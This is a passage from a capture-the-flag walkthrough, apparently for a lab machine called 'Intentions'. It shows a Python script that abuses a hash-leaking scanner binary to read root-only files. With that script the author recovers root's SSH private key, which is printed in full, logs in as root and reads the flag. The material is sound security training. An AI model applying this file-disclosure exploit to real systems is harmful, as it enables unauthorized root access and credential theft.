  • -s elswix: This would alert us if the result were elswix, although it will never occur.

  • -p: It displays what's happening in the background, allowing us to see on the screen the hash it obtained after hashing the characters.

  • -c /etc/passwd: We specified that we want to read the /etc/passwd file.

If we were to request it to hash the first 4 characters of the /etc/passwd file, it would return the following:"

greg@intentions:/tmp$ /opt/scanner/scanner -l 4 -s elswix -c /etc/passwd -p 
[DEBUG] /etc/passwd has hash 63a9f0ea7bb98050796b649e85481845
greg@intentions:/tmp$
This hash should correspond to the root string in MD5 format. We can verify it using md5sum:

elswix@kali$ echo -n "root" | md5sum
63a9f0ea7bb98050796b649e85481845  -
We are indeed correct, and everything is functioning as expected. Given that we can specify the file we want it to read, we could attempt to specify the file /root/.ssh/id_rsa. Successfully reading this file would grant us access to the system as the root user.

To avoid having to check each character manually and sum them, I will create a Python script:

#!/usr/bin/python3 

import hashlib, pdb, sys, subprocess

def checkhash(hashChr, content):

    #characters = "abcdef0123456789"

    for i in range(1, 128):
        char = chr(i)
        if hashlib.md5((content + char).encode()).hexdigest() == hashChr:
            return char 


def main():

    content = ""
    i = 1 
    fileToRead = sys.argv[1]
    while True:
        hashChr = subprocess.check_output(f"/opt/scanner/scanner -l {i} -s elswix -c {fileToRead} -p", shell=True)
        arr = hashChr.split() 
        hashChr = arr[-1].decode()
        ret = checkhash(hashChr, content)
        if ret is None:
            break 
        content += ret 
        i += 1

    f = open("output.txt", "w")
    f.write(content)
    f.close()

if __name__ == '__main__':


    if len(sys.argv) < 2:
        print("\n\n[!] Usage: python3 %s <file>\n" % sys.argv[0])
        sys.exit(1)

    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Quitting...\n")
        sys.exit(1)
The usage is quite straightforward; we just need to specify the file we want to open:

greg@intentions:~$ python3 exploit.py  /root/root.txt
0f5c7d8a90bfcf13a0327946f240fe34


[+] File saved to output.txt

greg@intentions:~$
The content of the file is displayed on the screen and is also saved in the current directory in a file named output.txt.

Previously, we read the file /root/root.txt, Now, we will attempt to gain access to the system using the root user's SSH private key:

greg@intentions:~$ python3 exploit.py /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----


[+] File saved to output.txt

greg@intentions:~$
Now we can copy this key to our machine and adjust its permissions:

elswix@kali$ chmod 600 id_rsa
Finally, we have successfully gained access as the root user via SSH:

ssh root@10.10.11.220 -i id_rsa
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Oct 14 05:25:06 PM UTC 2023

  System load:           0.0556640625
  Usage of /:            58.8% of 6.30GB
  Memory usage:          8%
  Swap usage:            0%
  Processes:             228
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.220
  IPv6 address for eth0: dead:beef::250:56ff:feb9:8816

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

12 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Oct 14 16:48:21 2023 from 10.10.16.6
root@intentions:~#
Now, we can read the final flag:

root@intentions:~# whoami
root
root@intentions:~# id 
uid=0(root) gid=0(root) groups=0(root)
root@intentions:~# cat /root/root.txt
0f5c7***********************fe34
root@intentions:~#